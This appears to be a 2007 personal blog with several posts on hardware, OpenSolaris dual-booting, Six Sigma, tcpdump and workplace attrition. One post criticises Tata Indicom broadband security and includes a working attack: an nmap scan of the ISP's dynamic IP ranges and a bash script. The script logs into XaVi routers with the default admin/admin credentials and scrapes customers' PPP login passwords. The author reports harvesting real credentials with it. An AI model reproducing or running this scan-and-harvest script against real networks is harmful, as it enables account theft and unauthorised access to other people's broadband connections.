Disinformation Repository

Nice TV

2007-09-25T09:07:00.000-07:00

@ a local mall -I see a nice big TV - a 103 Inch World's largest Plasma TV

Tata Indicom broadband hack it? Proof 90% users password is reset123

2007-09-17T03:47:00.000-07:00

Well, Tata Indicom broadband customer service is horrible, average waiting time is always more than 7 mins! Other than that the speed is good, I get whats promissed (I think all ADSL connections in India are good at delivering the bandwidth.) but it does get flaky sometimes. I used Airtel Broadband at my parents place & I was totally impressed by their quick as lightning service. I have called them like 3 times and the engineer turned up in less than 30 mins! Tata takes over 24 hrs!

The other grouse about Tata is their shitty security. All Tata Indicom passwords are reset to "reset123" and customers are lazy enough to not change that ever! I suggest them to reset password to some random alphabets or maybe DoB of a customer or somthing. Resetting every one password to reset123 is sick! Customers would never change that password until forced to do so. This is specially bad for pre-paid account users.

And the other thing is that many people donot change their Router passwords or disable remote access to it. Another horrible thing! and makes them vulnerable.

Here is what I'll do if I was an evil boy bent on using some one elses account. Maybe I'm in hyd & I scan all IP ranges that Tata Indicom gives to pre-paid account users in Hyderabad


nmap -sL 121.247.1-254.1 -oG ip_range.list ; grep hyd ip.list grep dyn  awk '{print $2}' > ip_range.list.hyd.dyn

So I get a list of IPs ip_range.list.hyd.dyn , now lets use it. *Muhahaha*
I created small script to check what all IPs are up and have port 80 open. Most likely it would be their Router's web console. And I will use the default password (admin/admin) to login to the Router's web console, navigate to the "PPP" page and get the login information... Well this is customized for those white XaVi Routers (X8821R+) that Tata Indicom supplies with their connection.


#!/bin/bash
#
# @Disclaimer
# @tata_v0.1.sh for p0c &
# @educational purposes
#
# g@ut.am

list="ip_range.list"
now=`date +%y%m%d%H%M%S`
mkdir $now
echo ""
echo -e "Scan list\t: $list"
echo -e "Output dir\t: $now"
echo ""

for ip_range in `cat $list  tr "\n" " "`
do
echo""
echo -e "Step 1: Target is $ip_range starting the scan for port 80..."
echo -e "\t+ Executing: nmap -sT $ip_range -p80 -oG $now/$ip_range.out"
nmap -sT $ip_range -p80 -oG $now/$ip_range.out > /dev/null
echo -e "\t+ Scan done!"

echo ""
echo "Step 2: Reading $ip_range.out & fetching passwords..."
echo -e "\t+ Supporting only few XaVi modems"

grep open $now/$ip_range.out  awk '{ print "http://" $2 "/PopOutPage?id=20&ex_param1=16"}' xargs curl -m 2 -s -u admin:admin  egrep 'passwdlogin'  perl -n -e ' s/.*name="(loginpasswd)".*value="([a-zA-Z0-9%&#;]+)".+/\1/g;print "\t\t$1\t: $2\n" ;' tee -a "$now/$ip_range.out.result"
echo -e "\t+ Passwords are saved to $now/$ip_range.out.result"
echo ""
done

echo ""
echo ""
echo "Bye Bye! I mean TaTa..."
echo ""

Well when I run that I get nice list of usernames & passwords, well I can see now 90% of users have passwords set to "reset123"

And I am so sure its not just Tata, other ISPs would have this shit too.

!Oh

Dual booting Open Solaris and Suse Linux

2007-07-07T13:54:00.000-07:00

Well there is defiantly, a lot of people talking about Solaris & Open Solaris everywhere, so I decided I will finally try it out. It took me about 2 weeks to repair my other AMD box which had a busted network card & couple of blown transistors. Well I decided to get a cheap NIC (the ones you get for Rs 200 or 5$). Turned out the ones I got were the *fake* Chinese Realtek ones (Silan Micro Electronics) & I know people need to hack the shit out to get them working on Linux but they definatley aren't gonna work in Solaris

(More about the cheap RTL8139D/RTC8139D LAN Cards, Zebronics, Intex, Techmatrix etc go here or here or here or here or here)

Well so I finally bought a DGE530T (Gigabit ethernet card), and I had to do a little tweaking to get it working under Solaris. Go here for that (http://www.sun.com/bigadmin/hcl/data/components/details/2729.html & pkgrm any skg* drivers before installing this)

Well all worked but then my hdd got busted and I am sure my SMPS is shitty its burning everything one at a time. So I got new hdd put in Suse 10.2 and was trying to dual boot Open Solaris. And I know Solaris doesnt see any logical partitions, it can only work with primary at the moment. So I boot into rescue mode, fdisk & parted to create a new primary partition.

This is how it looks now:

su:~ # fdisk -l

Disk /dev/hda: 40.0 GB, 40060403712 bytes
255 heads, 63 sectors/track, 4870 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Device Boot Start End Blocks Id System
/dev/hda1 * 1 32 257008+ 83 Linux
/dev/hda2 33 1991 15735667+ 83 Linux
/dev/hda3 1992 2891 7229250 f W95 Ext'd (LBA)
/dev/hda4 2892 4870 15896317+ 83 Linux
/dev/hda5 1992 2514 4200966 83 Linux
/dev/hda6 2515 2776 2104483+ c W95 FAT32 (LBA)
/dev/hda7 2777 2891 923706 82 Linux swap / Solaris

Sweet.. :) I am installing solaris right now. The partition /dev/hda4 shall have OpenSolaris.

Six Sigma, process improvements...

2007-05-22T07:36:00.000-07:00

I guess I should youtube more often, I found good videos clips about Lean, six sigma in there :-)

http://youtube.com/results?search_query=six+sigma

Whats a 'Value Add' ?

Activity that change your service or product
Customer can see the importance of the activity
Activity which is done right first time

Effectiveness and Inefficiency?

Effectiveness: How well your customer needs & requirements are met.
Inefficiency: Resources needed to be effective.

*Ponder* - Is this activity a VA or a NVA?

Useful Stuff!

2007-04-29T08:31:00.000-07:00

Copied from http://www.owlriver.com/tips/tcpdump-tech/

Pst.. You can use hexdump instead of xxd
[root@ root]# echo "OwlRiver" | xxd - 0000000: 4f77 6c52 6976 6572 0a OwlRiver. [root@ root]# [root@ root]# ping -c 1 -p 'deadbeef20004f776c52697665722000' 63.137.109.139 PATTERN: 0xdeadbeef20004f776c52697665722000 PING 63.137.109.139 (63.137.109.139) from 63.66.9.60 : 56(84) bytes of data. --- 63.137.109.139 ping statistics --- 1 packets transmitted, 0 packets received, 100% packet loss [root@ root]#
Note: The 0a is the final Carriage Return (CR) character, added by echo -- it is unwanted here. "00" and "20" are NUL and Space, respectively.

See: man ascii for a handy translator list of hex, octal, decimal and plain character representations. After doing traces for a while, patterns 'jump out' to the eye, but knowing that these decoder tools exist are great 'training wheels'.

Reviewing the tcpdump trace, we can see the patterns of both the 'dead beef' and the OwlRiver quite clearly.

[root@localhost rc.d]# tcpdump -i eth0 -nN -xX -s 1500 host 63.137.109.139 \ and not port 5631 tcpdump: listening on eth0 09:09:27.709605 63.66.9.60 > 63.137.109.139: icmp: echo request (DF) 0x0000 4500 0054 0000 4000 4001 4517 3f42 093c E..T..@.@.E.?B.< color="blue">6c52 6976 6572 2000 dead beef ....lRiver...... 0x0030 2000 4f77 6c52 6976 6572 2000 dead beef ..OwlRiver...... 0x0040 2000 4f77 6c52 6976 6572 2000 dead beef ..OwlRiver...... 0x0050 2000 4f77 ..Ow

Is your organization good for you?

2007-04-21T10:12:00.000-07:00

Few points!

Is Attrition lower or similar to the industry?
Employees do not have work-life balance
Leaders talk on formal forums is different from ground reality
Employees are viewed as resources. E.g. ‘billable’ resource, seats, ‘X resources = Y Revenue’
Lack of trust between people, managers or colleagues
Employees unsure about their future with the Organization
Are employee’s efforts being recognized?
Loyalty, compliance to procedures/policies emphasized over the cost of people.

Snow melts at the edge...

2007-04-13T15:28:00.000-07:00

Organizations melt away at the periphery - attrition takes place at the periphery, when the employees are not well entrenched in to the organization, or who have not yet, well integrated in to the organization or have been left out.

To make it worse - the nucleus of organization rarely gets to know whats going at its periphery. And the organization looses its edge...